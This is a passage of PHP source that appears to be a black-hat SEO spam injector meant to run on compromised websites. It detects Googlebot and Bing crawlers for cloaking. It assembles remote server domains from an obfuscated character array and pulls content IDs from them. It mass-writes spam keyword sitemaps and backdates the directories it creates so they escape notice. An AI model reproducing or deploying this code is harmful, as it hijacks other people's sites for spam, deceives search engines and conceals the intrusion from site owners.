    if (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https' || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'], 'https') || isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' || isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') {
        $httpPre = 'https';
    } else {
        $httpPre = 'http';
    }
    return $httpPre;
}
function get_shares()
{
    $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST'];
    $shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
    $shareStr = str_replace('domain', $siteLink, $shareStr);
    return $shareStr;
}
function getCatLink($CatName, $id23)
{
    global $arrnametime, $arrKeywz, $date_string;
    $filePres = '';
    $fileEnds = '';
    $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST'];
    $dirNames = dirname(__FILE__);
    $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames));
    if (JDT == 2) {
        $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "/";
    } elseif (JDT == 1) {
        $filePres = $siteLink . "/" . $httcReplace . "/";
    } elseif (JDT == 3) {
        $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "?cat=";
    } else {
        $filePres = $siteLink . "/";
    }
    $CatName = str_replace('&', ' ', $CatName);
    $CatName = str_replace('&', ' ', $CatName);
    if (JDT == 3) {
        $CatName = preg_replace('#\\s+#i', '-', $CatName);
        while (strstr($CatName, '--')) {
            $CatName = str_replace('--', '-', $CatName);
        }
        $urlMid = $CatName;
        $rtStr = $filePres . $urlMid;
        $rtStr = str_replace($filePres . '-', $filePres, $rtStr);
        return $rtStr;
    }
    global $tpKeyStrCat;
    $endNumber = '';
    $tpNum = KEYJG * $id23;
    $tpKey = $tpNum % count($date_string);
    $lenStr = strlen($date_string[$tpKey]);
    if ($tpKeyStrCat == -1) {
        $tpKeyStrCat = (KEYJG + $pid) % $lenStr;
    }
    $tpstr = $date_string[$tpKey];
    $randStr = '';
    $arrNum = array();
    for ($i = 0; $i < $lenStr; $i++) {
        $vs = $tpstr[$tpKeyStrCat];
        $int_vs = ord($vs);
        if ($int_vs >= 100 and $int_vs <= 119) {
            $arrNum[] = $int_vs % 10;
            if (count($arrNum) >= 3) {
                break;
            }
        }
        $tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr;
    }
    $catNum = implode('', $arrNum);
    $CatName = preg_replace('#\\s+#i', '-', $CatName);
    $CatName = str_replace('--', '-', $CatName);
    $urlMid = str_replace('--', '-', $CatName) . '';
    $rtStr = $filePres . 'catalog' . '-' . $urlMid . JTHZ;
    $rtStr = str_replace($filePres . '-', $filePres, $rtStr);
    return $rtStr;
}
function getMapNum($bgNum, $mapnum)
{
    $TempArr = array();
    if ($bgNum + $mapnum <= FNUM) {
        for ($i = 0; $i < $mapnum; $i++) {
            $TempArr[$i] = $bgNum + $i - 1;
        }
    } else {
        for ($i = 0; $i < $mapnum; $i++) {
            if ($bgNum + $i > FNUM) {
                $TempArr[$i] = $bgNum + $i - 1 - FNUM;
            } else {
                $TempArr[$i] = $bgNum + $i - 1;
            }
        }
    }
    return $TempArr;
}
function getRandCId($rqurl)
{
    global $thisdom;
    for ($i = 0; $i < 3; $i++) {
        $idUrl = GETDOM . "gpage.php?site={$thisdom}&cid={$rqurl}";
        $tempIdStr = curl_get_from_webpage($idUrl, '', 5);
        if (preg_match('#<cid>(\\d+)</cid>#i', $tempIdStr, $matchId)) {
            return $matchId[1];
        }
    }
    http_response_code(404);
    exit;
}
function getRandId()
{
    $num = rand(1, FNUM);
    $num = $num - 1;
    require FILEDIRNAME . "/id{$num}.php";
    $indexId = array_rand($arrId, 1);
    $id = $arrId[$indexId];
    unset($arrId);
    return $id;
}
function get_arrvs($arr, $num, $nowkey)
{
    $numArr = count($arr);
    if ($nowkey + $num < $numArr) {
        return $arr[$nowkey + $num];
    } else {
        if ($nowkey + $num - $numArr - $numArr > 0) {
            return get_arrvs($arr, $num - $numArr, $nowkey);
        } else {
            return $arr[abs($nowkey + $num - $numArr)];
        }
    }
}
function get_pre_link($arr, $key)
{
    $tmpA1 = array();
    $tmpA2 = array();
    $num = count($arr);
    if ($key + JGNUM + 1 + LINKNUM >= $num) {
        if ($key + JGNUM + 1 - $num > LINKNUM) {
            return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);
        } else {
            $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;
            $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);
            $tmpA2 = array_slice($arr, 0, $duoyu);
            return array_merge($tmpA1, $tmpA2);
        }
    } else {
        return array_slice($arr, $key + JGNUM + 1, LINKNUM);
    }
}
function get_next_link($arr, $key)
{
    $tmpA1 = array();
    $tmpA2 = array();
    $num = count($arr);
    if ($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0) {
        $duoyu = abs($key - JGNUM - LINKNUM);
        $tmpA1 = array_slice($arr, 0, abs($key - JGNUM));
        $tmpA2 = array_slice($arr, $num - $duoyu - 1, $duoyu);
        return array_merge($tmpA1, $tmpA2);
    } else {
        return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);
    }
}
function rFile($file)
{
    if (function_exists('file_get_contents')) {
        return file_get_contents($file);
    } else {
        $handle = fopen($file, "r");
        $contents = fread($handle, filesize($file));
        fclose($handle);
        return $contents;
    }
}
function isCrawler()
{
    $agent = @strtolower($_SERVER['HTTP_USER_AGENT']);
    if (!empty($agent)) {
        $spiderSite = array("Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot");
        foreach ($spiderSite as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str) !== false) {
                return true;
            }
        }
    } else {
        return false;
    }
}
function gsitemap2($filenames, $c = 1, $jdt = 1)
{
    global $gnumber, $arrArrr;
    $arrABC = range('a', 'z');
    $tparrsI = $filenames;
    $randnum = rand(7000, 7600);
    $tparrII = array_rand($tparrsI, $randnum);
    $tparrIII = array();
    foreach ($tparrII as $vs) {
        $tparrIII[$vs] = $filenames[$vs];
    }
    $filenames = $tparrIII;
    $filePres = '';
    $fileEnds = '';
    $dirNames = dirname(__FILE__);
    $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames));
    if (JDT == 2) {
        $filePres = $httcReplace . "/" . basename(__FILE__) . "/";
    } elseif (JDT == 1) {
        $filePres = $httcReplace . "/";
    } elseif (JDT == 3) {
        $filePres = $httcReplace . "/" . basename(__FILE__) . "?key=";
    } else {
        $filePres = '';
    }
    if (JDT == 3) {
        $fileEnds = '';
    } else {
        $fileEnds = JTHZ;
    }
    $fpath = get_scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $serpath = substr($fpath, 0, strrpos($fpath, '/'));
    $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST'];
    $mapPre = '<' . '?xml version="1.0" encoding="UTF-8" ?' . '>' . PHP_EOL . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
    $mapEnd = PHP_EOL . '</urlset>';
    $star = 0;
    $priority = 0.1;
    $starPri = 0;
    $gFile = "";
    $date = date("Y-m-d");
    $time = date("H:i:s");
    $str = "";
    $tempArr1 = $filenames;
    foreach ($tempArr1 as $key => $value2) {
        $curphp = basename(__FILE__);
        $value = $value2;
        $first = stristr($value, ".php");
        $last = stristr($value, ".xml");
        $checkTxt = stristr($value, ".txt");
        $tempPid = $key;
        $url = getalink($tempPid, $value2);
        if (JDT == 0) {
            if ($first === false && $last === false && $checkTxt === false) {
                $date = date("Y-m-d");
                $time = date("H:i:s");
                if ($star % 12000 == 11999) {
                    $gFile = '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml';
                    echo '<br/>' . $gFile . '<br/>';
                    $put_str = $mapPre . $str . $mapEnd;
                    @unlink($gFile);
                    file_put_contents($gFile, $put_str);
                    file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
                    $str = '';
                    $gnumber++;
                    return;
                }
                $str .= "     <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t";
                $star++;
                $starPri++;
            }
        } else {
            if ($first === false && $last === false && $checkTxt === false) {
                $date = date("Y-m-d");
                $time = date("H:i:s");
                if ($star % 12000 == 11999) {
                    $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml';
                    echo '<br/>' . $gFile . '<br/>';
                    $put_str = $mapPre . $str . $mapEnd;
                    @unlink($gFile);
                    file_put_contents($gFile, $put_str);
                    file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
                    $str = '';
                    $gnumber++;
                    return;
                }
                $str .= "     <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t";
                $star++;
                $starPri++;
            }
        }
    }
    if (JDT == 0) {
        $gFile = '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml';
        echo '<br/>' . $gFile . '<br/>';
        $put_str = $mapPre . $str . $mapEnd;
        @unlink($gFile);
        file_put_contents($gFile, $put_str);
        file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
        $gnumber++;
    } else {
        $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml';
        echo '<br/>' . $gFile . '<br/>';
        $put_str = $mapPre . $str . $mapEnd;
        @unlink($gFile);
        file_put_contents($gFile, $put_str);
        file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
        $gnumber++;
    }
    unset($tempArr1);
    unset($filenames);
    echo "生成sitemap成功!";
}
function gsitemap($filenames, $c = 1, $jdt = 1)
{
    global $gnumber, $arrArrr;
    $arrABC = range('a', 'z');
    $tparrsI = $filenames;
    $randnum = rand(7000, 7600);
    $tparrII = array_rand($tparrsI, $randnum);
    $tparrIII = array();
    foreach ($tparrII as $vs) {
        $tparrIII[$vs] = $filenames[$vs];
    }
    $filenames = $tparrIII;
    $filePres = '';
    $fileEnds = '';
    $fpath = get_scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $serpath = substr($fpath, 0, strrpos($fpath, '/'));
    $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST'];
    $mapPre = '<' . '?xml version="1.0" encoding="UTF-8" ?' . '>' . PHP_EOL . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
    $mapEnd = PHP_EOL . '</urlset>';
    $star = 0;
    $priority = 0.9;
    $starPri = 0;
    $gFile = "";
    $date = date("Y-m-d");
    $time = date("H:i:s");
    $str = "     <url>\r\n\t\t\t <loc>" . $siteLink . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod> \r\n\t\t\t <changefreq>always</changefreq> \r\n\t\t\t <priority>1.0</priority> \r\n\t\t\t </url>\r\n\t\t";
    $tempArr1 = $filenames;
    foreach ($tempArr1 as $key => $value2) {
        $curphp = basename(__FILE__);
        $value = $value2;
        $first = stristr($value, ".php");
        $last = stristr($value, ".xml");
        $checkTxt = stristr($value, ".txt");
        $tempPid = $key;
        $url = getalink($tempPid, $value2);
        if (JDT == 0) {
            if ($first === false && $last === false && $checkTxt === false) {
                $date = date("Y-m-d");
                $time = date("H:i:s");
                if ($star % 12000 == 11999) {
                    $gFile = '../mapper/writemap.xml';
                    echo '<br/>' . $gFile . '<br/>';
                    $put_str = $mapPre . $str . $mapEnd;
                    @unlink($gFile);
                    file_put_contents($gFile, $put_str);
                    file_put_contents("./map.log", 'writemap.xml' . PHP_EOL, FILE_APPEND);
                    $str = '';
                    $gnumber++;
                    return;
                }
                if ($starPri >= 400 && $priority != 0.1) {
                    $starPri = 0;
                    $priority = $priority - 0.1;
                }
                if ($priority > 0.1) {
                    $str .= "     <url>\r\n\t\t\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t\t\t <priority>" . $priority . "</priority> \r\n\t\t\t\t\t </url>\r\n\t\t\t\t";
                } else {
                    $str .= "     <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t";
                }
                $star++;
                $starPri++;
            }
        } else {
            if ($first === false && $last === false && $checkTxt === false) {
                $date = date("Y-m-d");
                $time = date("H:i:s");
                if ($star % 12000 == 11999) {
                    $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml';
                    echo '<br/>' . $gFile . '<br/>';
                    $put_str = $mapPre . $str . $mapEnd;
                    @unlink($gFile);
                    file_put_contents($gFile, $put_str);
                    file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
                    $str = '';
                    $gnumber++;
                    return;
                }
                if ($starPri >= 400 && $priority != 0.1) {
                    $starPri = 0;
                    $priority = $priority - 0.1;
                }
                if ($priority > 0.1) {
                    $str .= "     <url>\r\n\t\t\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t\t\t <priority>" . $priority . "</priority> \r\n\t\t\t\t\t </url>\r\n\t\t\t\t";
                } else {
                    $str .= "     <url>\r\n\t\t\t <loc>" . $url . "</loc> \r\n\t\t\t <lastmod>" . $date . "T" . $time . "-05:00</lastmod>   \r\n\t\t\t <changefreq>daily</changefreq> \r\n\t\t\t <priority>0.1</priority> \r\n\t\t\t </url>\r\n\t\t";
                }
                $star++;
                $starPri++;
            }
        }
    }
    if (JDT == 0) {
        $gFile = '../mapper/writemap.xml';
        echo '<br/>' . $gFile . '<br/>';
        $put_str = $mapPre . $str . $mapEnd;
        @unlink($gFile);
        file_put_contents($gFile, $put_str);
        file_put_contents("./map.log", 'writemap.xml' . PHP_EOL, FILE_APPEND);
        $gnumber++;
    } else {
        $gFile = '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml';
        echo '<br/>' . $gFile . '<br/>';
        $put_str = $mapPre . $str . $mapEnd;
        @unlink($gFile);
        file_put_contents($gFile, $put_str);
        file_put_contents("./map.log", '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#' . PHP_EOL, FILE_APPEND);
        $gnumber++;
    }
    unset($tempArr1);
    unset($filenames);
    echo "生成sitemap成功!";
}
function curl_get_from_webpage($url, $proxy = '', $loop = 10)
{
    $data = false;
    $i = 0;
    while (!$data) {
        $data = curlGetOne($url, $proxy);
        if ($i++ >= $loop) {
            break;
        }
    }
    return $data;
}
function curl_getjs_from_webpage($url, $time)
{
    if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
        $curl = curl_init();
        $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
        curl_setopt($curl, CURLOPT_URL, $url);
        if (stristr($url, "https:")) {
            curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => $time, CURLOPT_USERAGENT => $user_agent, CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0));
        } else {
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_TIMEOUT, $time);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, false);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
        }
        $data = curl_exec($curl);
        curl_close($curl);
    } else {
        $is_auf = ini_get('allow_url_fopen') && function_exists("file_get_contents") ? true : false;
        if ($is_auf) {
            $data = file_get_contents($url);
        }
    }
    if (!$data) {
        return false;
    }
    return $data;
}
function curlGetOne($url, $proxy = '')
{
    if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
        $curl = curl_init();
        $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
        if (strlen($proxy) > 8) {
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
        }
        curl_setopt($curl, CURLOPT_URL, $url);
        if (stristr($url, "https:")) {
            curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $user_agent, CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0));
        } else {
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, false);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
        }
        $data = curl_exec($curl);
        curl_close($curl);
    } else {
        $is_auf = ini_get('allow_url_fopen') && function_exists("file_get_contents") ? true : false;
        if ($is_auf) {
            $data = file_get_contents($url);
        }
    }
    if (!$data) {
        return false;
    }
    return $data;
}
function my_mkdir($dir)
{
    global $fitime;
    if (!is_dir($dir)) {
        mkdir($dir);
        @touch($dir, $fitime, $fitime);
    }
}
function generate_dir_file($gDir = '')
{
    global $hostDir;
    $gDir = str_replace('/', DIRECTORY_SEPARATOR, $gDir);
    $gDir = str_replace('\\', DIRECTORY_SEPARATOR, $gDir);
    $arr = explode(DIRECTORY_SEPARATOR, $gDir);
    if (count($arr) <= 0) {
        return;
    }
    if (!strstr($gDir, $hostDir)) {
        $dir = $hostDir;
    } else {
        $dir = '';
    }
    for ($i = 0; $i < count($arr) - 1; $i++) {
        $dir .= DIRECTORY_SEPARATOR . $arr[$i];
        my_mkdir($dir);
    }
    return $dir;
}
function strFilter($str)
{
    $str = str_replace('`', '', $str);
    $str = str_replace('·', '', $str);
    $str = str_replace('~', '', $str);
    $str = str_replace('!', '', $str);
    $str = str_replace('!', '', $str);
    $str = str_replace('@', '', $str);
    $str = str_replace('#', '', $str);
    $str = str_replace('$', '', $str);
    $str = str_replace('¥', '', $str);
    $str = str_replace('%', '', $str);
    $str = str_replace('^', '', $str);
    $str = str_replace('……', '', $str);
    $str = str_replace('*', '', $str);
    $str = str_replace('(', '', $str);
    $str = str_replace(')', '', $str);
    $str = str_replace('(', '', $str);
    $str = str_replace(')', '', $str);
    $str = str_replace('-', '', $str);
    $str = str_replace('_', '', $str);
    $str = str_replace('——', '', $str);
    $str = str_replace('+', '', $str);
    $str = str_replace('=', '', $str);
    $str = str_replace('|', '', $str);
    $str = str_replace('\\', '', $str);
    $str = str_replace('[', '', $str);
    $str = str_replace(']', '', $str);
    $str = str_replace('【', '', $str);
    $str = str_replace('】', '', $str);
    $str = str_replace('{', '', $str);
    $str = str_replace('}', '', $str);
    $str = str_replace(';', '', $str);
    $str = str_replace(':', '', $str);
    $str = str_replace('<', '', $str);
    $str = str_replace('>', '', $str);
    $str = str_replace(':', '', $str);
    $str = str_replace('\'', '', $str);
    $str = str_replace('"', '', $str);
    $str = str_replace(',', '', $str);
    $str = str_replace(',', '', $str);
    $str = str_replace('《', '', $str);
    $str = str_replace('》', '', $str);
    $str = str_replace('.', '', $str);
    $str = str_replace('。', '', $str);
    $str = str_replace('–', '', $str);
    $str = str_replace('–', '', $str);
    $str = str_replace('/', '', $str);
    $str = str_replace('、', '', $str);
    $str = str_replace('?', '', $str);
    $str = str_replace('?', '', $str);
    $str = str_replace('°', '', $str);
    $str = str_replace('&', '&amp;', $str);
    return trim($str);
}
function getalink($pid, $pname = '')
{
    global $arrnametime, $arrKeywz, $arr_word, $date_string;
    if (strstr($pname, '#cat#')) {
        $tp_pname_arr = explode('#cat#', $pname);
        $pname = $tp_pname_arr[1];
        $strCat = $tp_pname_arr[0];
        $tparr = explode('_-_', $strCat);
        if (count($tparr) > 1) {
            $precat = $tparr[0];
            $lastcat = $tparr[1];
        } else {
            $precat = $tparr[0];
            $lastcat = '';
        }
    }
    if (function_exists("preg_split")) {
        $tpnameArr = preg_split('/\\s+/us', $pname);
    } else {
        $tpnameArr = explode(' ', $pname);
    }
    $pnameArr = array();
    foreach ($tpnameArr as $tpvs) {
        $tpvs = trim($tpvs);
        if ($tpvs) {
            $pnameArr[] = $tpvs;
        }
    }
    $numPname = count($pnameArr);
    if ($numPname > 3) {
        $numLinkKey = round(PNAMELEN * $numPname / 100);
        $yushu = KEYJG % $numPname;
        $arrPre = array();
        $arrLast = array();
        for ($i = 0; $i < $numPname; $i++) {
            if ($i < $yushu) {
                $arrLast[] = $pnameArr[$i];
            } else {
                $arrPre[] = $pnameArr[$i];
            }
        }
        if (count($arrLast)) {
            foreach ($arrLast as $vs) {
                $arrPre[] = $vs;
            }
        }
        $usedNameArr = array();
        for ($i = 0; $i < $numLinkKey; $i++) {
            $usedNameArr[$i] = $arrPre[$i];
        }
        if (count($usedNameArr)) {
            $pname = implode(' ', $usedNameArr);
        }
    }
    if (JDT == 0) {
        $precat = strFilter($precat);
        $precat = preg_replace('/\\s+/', '-', $precat);
        $lastcat = strFilter($lastcat);
        $lastcat = preg_replace('/\\s+/', '-', $lastcat);
    }
    $pname = strFilter($pname);
    $filePres = '';
    $fileEnds = '';
    $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST'];
    $dirNames = dirname(__FILE__);
    $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames));
    if (JDT == 2) {
        $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "/";
    } elseif (JDT == 1) {
        $filePres = $siteLink . "/" . $httcReplace . "/";
    } elseif (JDT == 3) {
        $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "?keyword=";
    } else {
        $filePres = $siteLink . "/";
    }
    $rsp = '#' . BZPRO . '\\d+#';
    $rsp2 = '#\\d+-#';
    $rsp3 = '#-\\d+#';
    $pname = trim($pname);
    $pname = trim(str_replace('>>', ' ', $pname));
    $pname = preg_replace('/\\s+/', '-', $pname);
    if (JDT == 3) {
        $rs = '#&[^;]+;#i';
        $pname = preg_replace($rs, '', $pname);
        while (strstr($pname, '&')) {
            $pname = str_replace('&', '', $pname);
        }
        while (strstr($pname, '--')) {
            $pname = str_replace('--', '-', $pname);
        }
        $urlMid = $pname . '-' . $pid;
        $rtStr = $filePres . $urlMid;
        $rtStr = str_replace($filePres . '-', $filePres, $rtStr);
        return $rtStr;
    }
    $tpNum = KEYJG * $pid;
    $tpKey = $tpNum % count($date_string);
    $tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]);
    $nums = (KEYJG + $pid) % 2 ? 5 : 6;
    $randStr = '';
    for ($i = 0; $i < $nums; $i++) {
        $tpstr = $date_string[$tpKey];
        $randStr .= $tpstr[$tpKeyStr];
        $tpKey = ($tpKey + 1) % count($date_string);
    }
    if (strlen($pname) > 235) {
        $rs = '#&[^;]+;#i';
        $pname = preg_replace($rs, '', $pname);
        $pname = str_replace('&', '', $pname);
        $pname = str_replace('&', ';', $pname);
        if (function_exists("mb_substr")) {
            $pname = mb_substr($pname, 0, 235, 'utf-8');
        } else {
            $pname = substr($pname, 0, 235);
        }
    }
    $precat = preg_replace($rsp, '', $precat);
    $precat = preg_replace($rsp2, '-', $precat);
    $precat = preg_replace($rsp3, '-', $precat);
    $precat = str_replace('&', '', $precat);
    $precat = str_replace('>>', ' ', $precat);
    $precat = str_replace('&', ';', $precat);
    $precat = preg_replace('/\\s+/', '-', $precat);
    $lastcat = preg_replace($rsp, '', $lastcat);
    $lastcat = preg_replace($rsp2, '-', $lastcat);
    $lastcat = preg_replace($rsp3, '-', $lastcat);
    $lastcat = str_replace('&', '', $lastcat);
    $lastcat = str_replace('>>', ' ', $lastcat);
    $lastcat = str_replace('&', ';', $lastcat);
    $lastcat = preg_replace('/\\s+/', '-', $lastcat);
    $pname = preg_replace($rsp, '', $pname);
    $pname = preg_replace($rsp2, '-', $pname);
    $pname = preg_replace($rsp3, '-', $pname);
    if (JDT == 0) {
        $urlMid = $precat . '-' . $pname . '-' . $pid . '-' . $lastcat;
    } else {
        $urlMid = $precat . '-' . $pname . '-' . $pid . '-' . $lastcat;
    }
    $urlMid .= JTHZ;
    $urlMid = str_replace("-/", "/", $urlMid);
    $urlMid = str_replace("-" . JTHZ, JTHZ, $urlMid);
    while (strstr($urlMid, '--')) {
        $urlMid = str_replace('--', '-', $urlMid);
    }
    $rtStr = $filePres . $urlMid;
    $rtStr = str_replace($filePres . '-', $filePres, $rtStr);
    $rtStr = str_replace('-amp;-', '-&amp;-', $rtStr);
    return $rtStr;
}
function is_ip($localIp, $ipRanges)
{
    $localIp = ip2long($localIp);
    foreach ($ipRanges as $val) {
        $ipmin = sprintf("%u", ip2long($val[0]));
        $ipmax = sprintf("%u", ip2long($val[1]));
        if ($localIp >= $ipmin && $localIp <= $ipmax) {
            return true;
        }
    }
    return false;
}
function RandAbcs($length = "")
{
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return $str;
}
function getarr()
{
    global $O00O0O;
    $arr[0] = $O00O0O[23] . $O00O0O[2] . $O00O0O[7] . $O00O0O[0] . $O00O0O[11] . $O00O0O[0] . $O00O0O[17] . $O00O0O[0] . $O00O0O[18] . $O00O0O[0] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
    $arr[1] = $O00O0O[0] . $O00O0O[0] . $O00O0O[15] . $O00O0O[10] . $O00O0O[0] . $O00O0O[0] . $O00O0O[19] . $O00O0O[12] . $O00O0O[17] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
    $arr[2] = $O00O0O[17] . $O00O0O[14] . $O00O0O[19] . $O00O0O[4] . $O00O0O[2] . $O00O0O[15] . $O00O0O[20] . $O00O0O[12] . $O00O0O[15] . $O00O0O[18] . $O00O0O[20] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
    $arr[3] = $O00O0O[22] . $O00O0O[8] . $O00O0O[19] . $O00O0O[7] . $O00O0O[25] . $O00O0O[0] . $O00O0O[8] . $O00O0O[13] . $O00O0O[3] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
    $arr[4] = $O00O0O[10] . $O00O0O[0] . $O00O0O[11] . $O00O0O[4] . $O00O0O[13] . $O00O0O[0] . $O00O0O[18] . $O00O0O[1] . $O00O0O[11] . $O00O0O[14] . $O00O0O[6] . $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
    return $arr;
}
function getthisdom()
{
    $myArrs = getarr();
    return 'http://www.' . $myArrs[CENTERKEY] . MYDIR;
}
function get_real_ip()
{
    $ip = '';
    if (isset($_SERVER)) {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
            $ip = $_SERVER['HTTP_X_FORWARDED'];
        } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
            $ip = $_SERVER['HTTP_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
            $ip = $_SERVER['HTTP_FORWARDED'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
    }
    if (trim($ip) == '') {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } else {
            $ip = getenv('REMOTE_ADDR');
        }
